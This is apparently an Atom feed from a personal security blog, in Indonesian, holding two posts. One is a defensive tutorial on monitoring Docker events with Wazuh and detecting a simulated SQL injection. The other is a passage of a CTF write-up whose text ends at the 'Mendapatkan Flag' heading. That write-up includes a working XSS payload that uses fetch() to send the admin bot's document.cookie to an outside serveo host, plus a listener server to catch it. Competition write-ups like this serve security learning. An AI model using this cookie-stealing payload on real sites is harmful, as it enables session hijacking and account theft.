<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://riskyprsty.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://riskyprsty.github.io/" rel="alternate" type="text/html" /><updated>2026-02-02T03:53:59+00:00</updated><id>https://riskyprsty.github.io/feed.xml</id><title type="html">riskyprsty portofolio</title><subtitle>Riski G. Prasetya Portofolio Website</subtitle><entry><title type="html">Container Security: Monitoring Docker Events dan Activity dengan Wazuh</title><link href="https://riskyprsty.github.io/blog/Container-Security-Monitoring-Docker-Events-dan-Activity-dengan-Wazuh" rel="alternate" type="text/html" title="Container Security: Monitoring Docker Events dan Activity dengan Wazuh" /><published>2025-06-03T00:00:00+00:00</published><updated>2025-06-03T00:00:00+00:00</updated><id>https://riskyprsty.github.io/blog/Container-Security-Monitoring-Docker-Events-dan-Activity-dengan-Wazuh</id><content type="html" xml:base="https://riskyprsty.github.io/blog/Container-Security-Monitoring-Docker-Events-dan-Activity-dengan-Wazuh"><![CDATA[<p><img src="/assets/img/posts/2025-container-security/header.webp" class="img-fluid center m-1" /></p>

<h1 id="pendahuluan">Pendahuluan</h1>

<p>Docker telah menjadi teknologi containerization yang sangat populer di kalangan developer dan DevOps engineer. Namun, dengan semakin luasnya penggunaan Docker dalam production environment, kebutuhan akan monitoring dan keamanan container juga semakin meningkat. Di sinilah Wazuh dapat digunakan untuk melakukan monitoring pada Docker.</p>

<p>Dalam artikel ini, kita akan membahas bagaimana menggunakan Wazuh untuk monitoring Docker events dan activities secara real-time, serta implementasinya.</p>

<h1 id="apa-itu-wazuh">Apa itu Wazuh?</h1>

<p>Wazuh adalah platform keamanan open-source yang menyatukan kemampuan XDR (<em>Extended Detection and Response</em>) dan SIEM (<em>Security Information and Event Management</em>) yang menyediakan berbagai capabilities untuk container security, termasuk:</p>

<ul>
  <li><strong>Centralized logging</strong> - Mengumpulkan log dari berbagai sumber</li>
  <li><strong>Real-time monitoring</strong> - Monitoring aktivitas secara real-time</li>
  <li><strong>Vulnerability scanning</strong> - Scan kerentanan security</li>
  <li><strong>Incident response automation</strong> - Otomasi respons terhadap insiden keamanan</li>
</ul>

<h1 id="prerequisites">Prerequisites</h1>

<p>Sebelum memulai, pastikan sudah memiliki:</p>

<ol>
  <li><strong>Docker Server</strong> - Server yang menjalankan Docker engine</li>
  <li><strong>Wazuh Agent</strong> - Agent Wazuh terinstall pada Docker server</li>
  <li><strong>Wazuh Server</strong> - Wazuh agent sudah terdaftar ke Wazuh server</li>
</ol>

<h1 id="langkah-langkah-konfigurasi">Langkah-langkah Konfigurasi</h1>

<h2 id="step-1-install-python-docker-library">Step 1: Install Python Docker Library</h2>

<p>Sebelum menginstall library, sebaiknya kita melakukan setup virtual environment terlebih dahulu supaya tidak mengganggu package global system.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nb">cd</span> /var/ossec/wodles/docker
python3 <span class="nt">-m</span> venv venv
<span class="nb">source </span>venv/bin/activate
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Instal library Docker untuk Python yang diperlukan Wazuh Docker listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="c"># Untuk Python 3.8–3.10</span>
<span class="o">(</span>venv<span class="o">)</span> pip3 <span class="nb">install </span><span class="nv">docker</span><span class="o">==</span>7.1.0 <span class="nv">urllib3</span><span class="o">==</span>1.26.20 <span class="nv">requests</span><span class="o">==</span>2.32.2

<span class="c"># Untuk Python 3.11–3.12</span>
<span class="o">(</span>venv<span class="o">)</span> pip3 <span class="nb">install </span><span class="nv">docker</span><span class="o">==</span>7.1.0 <span class="nv">urllib3</span><span class="o">==</span>1.26.20 <span class="nv">requests</span><span class="o">==</span>2.32.2
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="alert alert-info">
    <div>
      <i class="fa-solid fa-circle-info"></i>
      <p>Info</p>
    </div>
    <p>Penggunaan virtual environment sangat direkomendasikan untuk mengisolasi dependencies dan menghindari konflik dengan package system.</p>
  </div>

<h3 id="update-shebang-pada-script-dockerlistener">Update Shebang pada Script DockerListener</h3>

<p>Edit file <code class="language-plaintext highlighter-rouge">/var/ossec/wodles/docker/DockerListener</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nano /var/ossec/wodles/docker/DockerListener
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Ubah baris pertama dari:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Menjadi path ke venv:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="c1">#!/var/ossec/wodles/docker/venv/bin/python3
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="uji-coba-dockerlistener">Uji Coba DockerListener</h3>

<p><img src="/assets/img/posts/2025-container-security/docker-listener-test.webp" class="img-fluid center m-1" /></p>

<p>Uji coba jalankan binary DockerListener, pastikan terhubung ke Docker service.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">sudo</span> /var/ossec/wodles/docker/DockerListener
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/posts/2025-container-security/docker-service-listener.webp" class="img-fluid center m-1" /></p>

<h2 id="step-2-konfigurasi-wazuh-agent">Step 2: Konfigurasi Wazuh Agent</h2>

<p>Tambahkan konfigurasi berikut ke file <code class="language-plaintext highlighter-rouge">/var/ossec/etc/ossec.conf</code> pada Docker server:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;wodle</span> <span class="na">name=</span><span class="s">"docker-listener"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;disabled&gt;</span>no<span class="nt">&lt;/disabled&gt;</span>
<span class="nt">&lt;/wodle&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Restart Wazuh agent untuk menerapkan perubahan:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>systemctl restart wazuh-agent
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="step-3-konfigurasi-advanced-optional">Step 3: Konfigurasi Advanced (Optional)</h2>

<p>Untuk konfigurasi yang lebih advanced, Anda dapat menggunakan berbagai opsi scheduling:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;wodle</span> <span class="na">name=</span><span class="s">"docker-listener"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;interval&gt;</span>10m<span class="nt">&lt;/interval&gt;</span>
  <span class="nt">&lt;attempts&gt;</span>5<span class="nt">&lt;/attempts&gt;</span>
  <span class="nt">&lt;run_on_start&gt;</span>no<span class="nt">&lt;/run_on_start&gt;</span>
  <span class="nt">&lt;disabled&gt;</span>no<span class="nt">&lt;/disabled&gt;</span>
<span class="nt">&lt;/wodle&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Penjelasan konfigurasi:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">interval</code>: Waktu tunggu untuk rerun listener jika gagal</li>
  <li><code class="language-plaintext highlighter-rouge">attempts</code>: Jumlah percobaan eksekusi listener jika gagal</li>
  <li><code class="language-plaintext highlighter-rouge">run_on_start</code>: Jalankan listener segera saat Wazuh agent start</li>
  <li><code class="language-plaintext highlighter-rouge">disabled</code>: Enable/disable Docker listener</li>
</ul>

<h1 id="use-case-1-monitoring-user-interaction-dengan-docker-container">Use Case 1: Monitoring User Interaction dengan Docker Container</h1>

<p>Mari kita test monitoring Docker events dengan melakukan berbagai operasi container.</p>

<h2 id="1-jalankan-container">1. Jalankan Container</h2>

<p>Jalankan container sederhana menggunakan image httpd:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>docker run <span class="nt">-d</span> <span class="nt">--name</span> test-container httpd
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-container-security/run-container.webp" class="img-fluid center m-1" /></p>

<p>Hasil monitoring dapat kita lihat pada Wazuh dashboard di module <strong>Threat Hunting</strong> atau <strong>Docker listener dashboard</strong>.</p>

<p><img src="/assets/img/posts/2025-container-security/dashboard-run.webp" class="img-fluid center m-1" /></p>

<h2 id="2-pause-resume-stop-container">2. Pause, Resume, Stop Container</h2>

<p>Lakukan operasi pause, unpause, dan stop pada container:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker pause test-container
docker unpause test-container
docker stop test-container
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-container-security/pause-resume-stop.webp" class="img-fluid center m-1" /></p>

<p>Setiap operasi ini akan tercatat di Wazuh dashboard dengan detail event yang lengkap.</p>

<p><img src="/assets/img/posts/2025-container-security/dashboard-operations.webp" class="img-fluid center m-1" /></p>

<h2 id="3-remove-container-dan-hapus-image">3. Remove Container dan Hapus Image</h2>

<p>Hapus container dan image yang sudah tidak digunakan:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>docker <span class="nb">rm </span>test-container
docker rmi httpd
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-container-security/remove-container.webp" class="img-fluid center m-1" /></p>

<p>Event removal juga akan terekam di Wazuh.</p>

<p><img src="/assets/img/posts/2025-container-security/dashboard-remove.webp" class="img-fluid center m-1" /></p>

<h1 id="use-case-2-monitoring-container-runtime-untuk-deteksi-web-attacks">Use Case 2: Monitoring Container Runtime untuk Deteksi Web Attacks</h1>

<p>Use case ini menunjukkan bagaimana Wazuh dapat monitoring runtime logs container web untuk mendeteksi serangan web, seperti SQL Injection.</p>

<h2 id="konfigurasi-wazuh-agent">Konfigurasi Wazuh Agent</h2>

<p>Tambahkan konfigurasi berikut ke <code class="language-plaintext highlighter-rouge">/var/ossec/etc/ossec.conf</code> pada Docker server:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;localfile&gt;</span>
  <span class="nt">&lt;log_format&gt;</span>syslog<span class="nt">&lt;/log_format&gt;</span>
  <span class="nt">&lt;location&gt;</span>/var/lib/docker/containers/*/*-json.log<span class="nt">&lt;/location&gt;</span>
<span class="nt">&lt;/localfile&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Restart Wazuh agent:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>systemctl restart wazuh-agent
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="konfigurasi-wazuh-server">Konfigurasi Wazuh Server</h2>

<p>Tambahkan decoder berikut ke <code class="language-plaintext highlighter-rouge">/var/ossec/etc/decoders/local_decoder.xml</code> pada Wazuh server:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;decoder</span> <span class="na">name=</span><span class="s">"web-accesslog-docker"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;parent&gt;</span>json<span class="nt">&lt;/parent&gt;</span>
  <span class="nt">&lt;type&gt;</span>web-log<span class="nt">&lt;/type&gt;</span>
  <span class="nt">&lt;use_own_name&gt;</span>true<span class="nt">&lt;/use_own_name&gt;</span>
  <span class="nt">&lt;prematch</span> <span class="na">offset=</span><span class="s">"after_parent"</span><span class="nt">&gt;</span>^log":"\S+ \S+ \S+ \.*[\S+ \S\d+] \.*"\w+ \S+<span class="nt">&lt;/prematch&gt;</span>
  <span class="nt">&lt;regex</span> <span class="na">offset=</span><span class="s">"after_parent"</span><span class="nt">&gt;</span>^log":"(\S+) \S+ \S+ \.*[\S+ \S\d+] \.*"(\w+) (\S+)<span class="nt">&lt;/regex&gt;</span>
  <span class="nt">&lt;order&gt;</span>srcip,protocol,url,id<span class="nt">&lt;/order&gt;</span>
<span class="nt">&lt;/decoder&gt;</span>

<span class="nt">&lt;decoder</span> <span class="na">name=</span><span class="s">"json"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;parent&gt;</span>json<span class="nt">&lt;/parent&gt;</span>
  <span class="nt">&lt;use_own_name&gt;</span>true<span class="nt">&lt;/use_own_name&gt;</span>
  <span class="nt">&lt;plugin_decoder&gt;</span>JSON_Decoder<span class="nt">&lt;/plugin_decoder&gt;</span>
<span class="nt">&lt;/decoder&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Restart Wazuh manager:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>systemctl restart wazuh-manager
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="alert alert-info">
    <div>
      <i class="fa-solid fa-circle-info"></i>
      <p>Info</p>
    </div>
    <p>Decoder berfungsi untuk mem-parsing log dari format JSON Docker menjadi field-field yang dapat dianalisis oleh Wazuh.</p>
  </div>

<h2 id="testing-sql-injection-detection">Testing SQL Injection Detection</h2>

<p>Jalankan web container dengan nginx:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>docker run <span class="nt">--name</span> test-container <span class="nt">-p</span> 80:80 <span class="nt">-d</span> nginx
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-container-security/container-nginx.webp" class="img-fluid center m-1" /></p>

<p>Simulasi SQL injection attack:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>curl <span class="nt">-XGET</span> <span class="s2">"http://&lt;WEB_IP_ADDRESS&gt;/users/?id=SELECT+*+FROM+users"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-container-security/sql-injection-test.webp" class="img-fluid center m-1" /></p>

<h2 id="hasil-deteksi">Hasil Deteksi</h2>

<p>Alert akan muncul pada Wazuh Dashboard dengan detail lengkap mengenai serangan SQL Injection yang terdeteksi:</p>

<p><img src="/assets/img/posts/2025-container-security/sqli-alert-1.webp" class="img-fluid center m-1" /></p>

<p>Detail alert akan menampilkan informasi seperti:</p>

<ul>
  <li>Source IP attacker</li>
  <li>URL yang diserang</li>
  <li>Payload SQL Injection</li>
  <li>Timestamp serangan</li>
  <li>Rule ID dan severity level</li>
</ul>

<p><img src="/assets/img/posts/2025-container-security/sqli-alert-2.webp" class="img-fluid center m-1" /></p>

<h1 id="referensi">Referensi</h1>

<ul>
  <li><a href="https://documentation.wazuh.com/">Wazuh Official Documentation</a></li>
  <li><a href="https://docs.docker.com/engine/security/">Docker Security Best Practices</a></li>
  <li><a href="https://documentation.wazuh.com/current/user-manual/capabilities/container-security/docker-monitoring.html">Wazuh Docker Integration</a></li>
</ul>]]></content><author><name></name></author><category term="blog" /><category term="docker" /><category term="container-security" /><category term="wazuh" /><category term="siem" /><category term="monitoring" /><category term="cybersecurity" /><summary type="html"><![CDATA[Wazuh SIEM dapat digunakan untuk me-monitoring Docker container, mendeteksi aktivitas mencurigakan dan serangan web secara real-time.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://riskyprsty.github.io/assets/img/static/pp.jpg" /><media:content medium="image" url="https://riskyprsty.github.io/assets/img/static/pp.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writeup CTF Gemastik 2024 - Web &amp;amp; Forensics Writeup</title><link href="https://riskyprsty.github.io/blog/Writeup-CTF-Gemastik-2024" rel="alternate" type="text/html" title="Writeup CTF Gemastik 2024 - Web &amp;amp; Forensics Writeup" /><published>2024-08-04T00:00:00+00:00</published><updated>2024-08-04T00:00:00+00:00</updated><id>https://riskyprsty.github.io/blog/Writeup-CTF-Gemastik-2024</id><content type="html" xml:base="https://riskyprsty.github.io/blog/Writeup-CTF-Gemastik-2024"><![CDATA[<h1 id="pendahuluan">Pendahuluan</h1>

<p>Pada writeup kali ini, saya akan membahas dua challenge dari GEMASTIK CTF 2024 yang cukup menarik. Challenge pertama adalah <strong>Baby XSS</strong> yang merupakan challenge web exploitation, dan challenge kedua adalah <strong>Baby Structured</strong> yang merupakan challenge forensics terkait PNG file structure.</p>

<hr />

<h1 id="challenge-1-baby-xss">Challenge 1: Baby XSS</h1>

<h2 id="deskripsi-challenge">Deskripsi Challenge</h2>

<blockquote>
  <p>Aku yang baru belajar XSS menemukan sebuah repo untuk automasi XSS challenge deployment, berikut reponya: <br />https://github.com/dimasma0305/CTF-XSS-BOT/ <br />Bisakah kalian membantuku untuk melakukan exploitasi XSS sesuai pada repo kode vulnerable yang ada di repository tersebut?</p>
</blockquote>

<p><strong>URL</strong>: http://ctf.gemastik.id:9020/</p>

<p><strong>Kategori</strong>: Web Exploitation</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/challxss.png" class="img-fluid center m-1" /></p>

<h2 id="analisis-awal">Analisis Awal</h2>

<p>Sesuai dengan deskripsi challenge, ini merupakan challenge XSS (<em>Cross-Site Scripting</em>). Berdasarkan repository yang diberikan, vulnerability XSS terdapat pada halaman utama yaitu <code class="language-plaintext highlighter-rouge">http://ctf.gemastik.id:9020/</code> dengan parameter <code class="language-plaintext highlighter-rouge">x</code> pada URL.</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/index.png" class="img-fluid center m-1" /></p>

<h3 id="testing-xss-payload">Testing XSS Payload</h3>

<p>Saya mencoba melakukan XSS sederhana dengan menambahkan parameter <code class="language-plaintext highlighter-rouge">?x=alert(1)</code> pada URL.</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/alert.png" class="img-fluid center m-1" /></p>

<p>Ternyata payload XSS berhasil dieksekusi! Ini membuktikan bahwa aplikasi vulnerable terhadap XSS.</p>

<h3 id="mencari-target-admin-bot">Mencari Target: Admin Bot</h3>

<p>Halaman bot admin berada pada <code class="language-plaintext highlighter-rouge">http://ctf.gemastik.id:9020/report</code>. Halaman ini memungkinkan kita untuk mengirimkan URL yang akan dikunjungi oleh bot admin.</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/adminbot.png" class="img-fluid center m-1" /></p>

<p>Dari kode bot yang tersedia di repository, terlihat bahwa flag dimasukkan ke dalam cookie pada browser bot.</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/bot.png" class="img-fluid center m-1" /></p>

<h2 id="strategi-eksploitasi">Strategi Eksploitasi</h2>

<p>Rencana eksploitasi adalah sebagai berikut:</p>

<ol>
  <li>Membuat HTTP Server sederhana untuk menerima request</li>
  <li>Mengekspos server lokal ke internet menggunakan <a href="https://serveo.net/">serveo</a></li>
  <li>Membuat payload XSS yang akan mencuri cookie bot</li>
  <li>Mengirimkan payload melalui halaman report</li>
  <li>Menangkap cookie yang berisi flag</li>
</ol>

<h3 id="membuat-http-server">Membuat HTTP Server</h3>

<p>Pertama, saya membuat file <code class="language-plaintext highlighter-rouge">server.py</code> untuk menangkap request yang masuk:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [&lt;port&gt;]
"""</span>
<span class="kn">from</span> <span class="nn">http.server</span> <span class="kn">import</span> <span class="n">BaseHTTPRequestHandler</span><span class="p">,</span> <span class="n">HTTPServer</span>
<span class="kn">import</span> <span class="nn">logging</span>
            
<span class="k">class</span> <span class="nc">S</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">_set_response</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-type'</span><span class="p">,</span> <span class="s">'text/html'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"GET request,</span><span class="se">\n</span><span class="s">Path: %s</span><span class="se">\n</span><span class="s">Headers:</span><span class="se">\n</span><span class="s">%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">),</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">headers</span><span class="p">))</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">_set_response</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"GET request for {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>

    <span class="k">def</span> <span class="nf">do_POST</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">content_length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-Length'</span><span class="p">])</span>
        <span class="n">post_data</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">rfile</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">content_length</span><span class="p">)</span>
        <span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"POST request,</span><span class="se">\n</span><span class="s">Path: %s</span><span class="se">\n</span><span class="s">Headers:</span><span class="se">\n</span><span class="s">%s</span><span class="se">\n\n</span><span class="s">Body:</span><span class="se">\n</span><span class="s">%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">),</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">headers</span><span class="p">),</span> <span class="n">post_data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>

        <span class="bp">self</span><span class="p">.</span><span class="n">_set_response</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"POST request for {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">server_class</span><span class="o">=</span><span class="n">HTTPServer</span><span class="p">,</span> <span class="n">handler_class</span><span class="o">=</span><span class="n">S</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8080</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">basicConfig</span><span class="p">(</span><span class="n">level</span><span class="o">=</span><span class="n">logging</span><span class="p">.</span><span class="n">INFO</span><span class="p">)</span>
    <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
    <span class="n">httpd</span> <span class="o">=</span> <span class="n">server_class</span><span class="p">(</span><span class="n">server_address</span><span class="p">,</span> <span class="n">handler_class</span><span class="p">)</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Starting httpd...</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">httpd</span><span class="p">.</span><span class="n">serve_forever</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
        <span class="k">pass</span>
    <span class="n">httpd</span><span class="p">.</span><span class="n">server_close</span><span class="p">()</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Stopping httpd...</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">argv</span>

    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">argv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
        <span class="n">run</span><span class="p">(</span><span class="n">port</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">run</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="menjalankan-server-dan-port-forwarding">Menjalankan Server dan Port Forwarding</h3>

<p>Jalankan HTTP Server pada port 8080 dan ekspos ke publik menggunakan serveo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="c"># Terminal 1: Jalankan HTTP Server</span>
python server.py 8080

<span class="c"># Terminal 2: Port forwarding dengan serveo</span>
ssh <span class="nt">-R</span> 80:localhost:8080 serveo.net
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Serveo akan memberikan URL publik yang dapat diakses dari internet, misalnya <code class="language-plaintext highlighter-rouge">https://xxx.serveo.net</code>.</p>

<h3 id="membuat-payload-xss">Membuat Payload XSS</h3>

<p>Payload XSS yang saya gunakan akan melakukan POST request ke HTTP Server dengan mengirimkan cookie sebagai body request. Berikut adalah payload yang digunakan:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://proxy/?x=fetch(%27https://xxx.serveo.net%27,%20{method:%20%27POST%27,%20body:%20JSON.stringify(document.cookie)})
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="alert alert-info">
    <div>
      <i class="fa-solid fa-circle-info"></i>
      <p>Info</p>
    </div>
    <p>Ganti <code>xxx.serveo.net</code> dengan URL publik yang didapat dari port forwarding serveo.</p>
  </div>

<p>Payload ini akan:</p>
<ol>
  <li>Mengambil semua cookie dari browser bot menggunakan <code class="language-plaintext highlighter-rouge">document.cookie</code></li>
  <li>Mengkonversi cookie menjadi JSON string</li>
  <li>Mengirimkan cookie tersebut ke server kita melalui POST request</li>
</ol>

<h3 id="mengirim-payload-ke-admin-bot">Mengirim Payload ke Admin Bot</h3>

<p>Masukkan URL berisi payload XSS ke dalam halaman admin bot (<code class="language-plaintext highlighter-rouge">/report</code>).</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/submit.png" class="img-fluid center m-1" /></p>

<h3 id="mendapatkan-flag">Mendapatkan Flag</h3>

